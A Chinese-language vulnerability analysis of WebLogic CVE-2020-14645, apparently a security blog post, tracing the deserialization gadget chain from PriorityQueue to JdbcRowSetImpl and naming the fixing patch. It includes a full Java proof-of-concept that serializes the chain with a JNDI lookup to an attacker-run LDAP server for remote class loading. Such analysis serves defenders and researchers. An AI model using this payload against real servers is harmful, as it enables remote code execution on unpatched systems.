Weblogic漏洞分析之JNDI注入-CVE-2020-14645
Weblogic漏洞分析之JNDI注入-CVE-2020-14645
Oracle七月釋出的安全更新中,包含了一個Weblogic的反序列化RCE漏洞,編號CVE-2020-14645,CVS評分9.8。
該漏洞是針對於CVE-2020-2883的補丁繞過,CVE-2020-2883補丁將MvelExtractor
和ReflectionExtractor
列入黑名單,因此需要另外尋找一個存在extract
且方法記憶體在惡意操作的類即可繞過補丁。
這裡找到的是 Weblogic 12.2.1.4.0 Coherence 元件特有的類 com.tangosol.util.extractor.UniversalExtractor
1)影響範圍
Oracle WebLogic Server 12.2.1.4.0
2)漏洞復現
這裡使用JNDI-Injection-Exploit工具開啟一個ldap服務端
這裡使用了Y4er師傅的poc,生成poc檔案,使用t3協議傳送
package com.yyhuni; import com.sun.rowset.JdbcRowSetImpl; import com.tangosol.util.ValueExtractor; import com.tangosol.util.comparator.ExtractorComparator; import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import com.tangosol.util.extractor.UniversalExtractor; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.sql.SQLException; import java.util.PriorityQueue; public class Test { public static void main(String[] args) throws Exception { // CVE_2020_14645 UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1); final ExtractorComparator comparator = new ExtractorComparator(extractor); JdbcRowSetImpl rowSet = new JdbcRowSetImpl(); rowSet.setDataSourceName("ldap://192.168.202.1:1389/ayicvn"); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); Object[] q = new Object[]{rowSet, rowSet}; Field queue1 = queue.getClass().getDeclaredField("queue"); queue1.setAccessible(true); queue1.set(queue,q); Field queue2 = queue.getClass().getDeclaredField("size"); queue2.setAccessible(true); queue2.set(queue,2); //serial ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser")); objectOutputStream.writeObject(queue); objectOutputStream.close(); //unserial ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser")); objectIntputStream.readObject(); objectIntputStream.close(); } }
彈出計算器:
3)漏洞分析
在UniversalExtractor#extract
中,利用了invoke
呼叫 JdbcRowSetImpl#getDatabaseMetaData
方法導致 JDNI 遠端動態類載入。UniversalExtractor
是 Weblogic 12.2.1.4.0 版本中獨有的。
gadget鏈:
- PriorityQueue#readObject - ExtractorComparator#compare - this.m_extractor.extract - UniversalExtractor#extract - UniversalExtractor#extractComplex - method.invoke#205 - JdbcRowSetImpl#getDatabaseMetaData
下面就分別解析PriorityQueue、ExtractorComparator、UniversalExtractor、JdbcRowSetImpl這四個類是怎麼進行串聯產生呼叫關係的
3.1 JdbcRowSetImpl
在JdbcRowSetImpl
中,呼叫其getDatabaseMetaData
方法,會進行lookup
的操作
可以看到,如果this.getDataSourceName()
引數可控,則會產生JNDI注入
3.2 UniversalExtractor
使用此類的目的是,此類的extract
方法,可以呼叫到JdbcRowSetImpl
的getDatabaseMetaData
方法
構造方法
先來看UniversalExtractor
的建構函式,在payload中傳入了三個引數sName、aoParam、nTarget做了哪些操作
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
如果第一個if判斷為true的話,則會丟擲異常。所以傳入的aoParam值為null,會跳轉到else中
跳轉到else中,分別給m_sName、m_aoParam、m_nTarget賦值,接著呼叫了this.init()
跟進this.init()
148行呼叫了getCanonicalName
方法,把返回值傳給了sCName
,跟進getCanonicalName
86行的Lambdas.getValueExtractorCanonicalName(this)
是判斷this是否為AbstractRemotableLambda
型別,此處就不跟入了,它的返回值是null。
所以進入了88行的if語句中,CanonicalNames.computeValueExtractorCanonicalName(this.m_sName, this.m_aoParam);
跟進computeValueExtractorCanonicalName
方法
這裡三個框分別解釋下
-
如果aoParam 不為 null 且陣列長度大於0就會返回 null ,此處aoParam是我們傳入的null,不滿足條件,進入else
-
如果方法名 sName 不以 () 結尾,則直接返回方法名,我們sName的值是getDatabaseMetaData(),不滿足條件,進入else
-
如果方法名以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES 陣列中的字首開頭得話,會擷取掉並返回,檢視到陣列中的元素有get、is,所以擷取掉了getDatabaseMetaData()前面的get,最終返回了databaseMetaData
最終返回的databaseMetaData會賦值給init
方法中的sCName
接下來一行把this.m_fMethod賦值為了false
到這裡UniversalExtractor
的建構函式就已經執行完了。接下來看下UniversalExtractor
的extract
方法
extract方法
在extract
方法中,傳入了oTarget
,呼叫了extractComplex
方法,跟進extractComplex
方法
在extractComplex
方法中有使用到反射呼叫oTarget
的任意方法method.invoke(oTarget, aoParam)
,而這裡有三個引數分別是method、oTarget、aoParam,需要對這三個引數可控才可以呼叫到JdbcRowSetImpl
的getDatabaseMetaData
方法。
現在來拆解extract
方法,來理解這個extract
方法是怎麼一步步呼叫到最後的invoke的。
第一個if語句判斷oTarget的值是不是等於null
從而走進else中,第二個if語句判斷targetPrev
的值如果為null,則走進else中,顯然在69行,targetPrev
被賦予了一個預設值null
接著在else中就是呼叫了this.extractComplex(oTarget)
跟進extractComplex
開頭幾行分別是對一些變數進行賦值
clzTarget為com.sun.rowset.JdbcRowSetImpl的class物件
aoParam為null
clzParam為null
sCName為databaseMetaData
fProperty為true
這裡就解釋下fProperty為什麼是true,可以在isPropertyExtractor
方法中看到,取反this.m_fMethod,而this.m_fMethod則是在前面init
中被賦予了false
所以186行第一個if語句進入了true
sBeanAttribute
的值為sCName
第一個首字母變成大寫後的值DatabaseMetaData
重點看for迴圈裡面的內容,因為此內容拿到了關鍵的method
在BEAN_ACCESSOR_PREFIXES中有get、is方法,for迴圈遍歷拿到clzTarget物件(com.sun.rowset.JdbcRowSetImpl)的get,is + sBeanAttribute(DatabaseMetaData)方法,然後賦值給了method
最後進行了method.invoke(oTarget, aoParam)
method值為getDatabaseMetaData
oTarget值為JdbcRowSetImpl
aoParam值為null
接下來就是呼叫到了JdbcRowSetImpl
的getDatabaseMetaData
方法造成了JNDI注入
3.3 ExtractorComparator
ExtractorComparator
類的compare
方法會去呼叫UniversalExtractor#extract
,並且傳入了o1,而此處的o1則是最後UniversalExtractor
的oTarget(JdbcRowSetImpl)
3.4 PriorityQueue
PriorityQueue
類是此漏洞的入口,其以readObject
為入口,最後呼叫到ExtractorComparator#compare
方法,下面是PriorityQueue
的呼叫鏈
readObject
->heapify()
-> siftDown(i, (E) queue[i])
-> siftDownUsingComparator
-> comparator.compare(x, (E) c) <= 0
-> ExtractorComparator#compare
這裡有幾個注意點:
comparator
的值為PriorityQueue
的建構函式中傳入
comparator.compare(x, (E) c)
中x和c的值都是在queue
陣列中獲得
最後一點是size的值要大於等於2,不然不會進入while語句中
最後構造出整個漏洞的呼叫鏈
入口在PriorityQueue#readObject
-》 ExtractorComparator#compare
-》 this.m_extractor.extract
-》 UniversalExtractor#extract
-》 UniversalExtractor#extractComplex
-》 method.invoke#205
-》 JdbcRowSetImpl#getDatabaseMetaData
4)修復方式
安裝Weblogic補丁:p31537019_122140_Generic
5)參考
https://www.anquanke.com/post/id/210724
https://nosec.org/home/detail/4524.html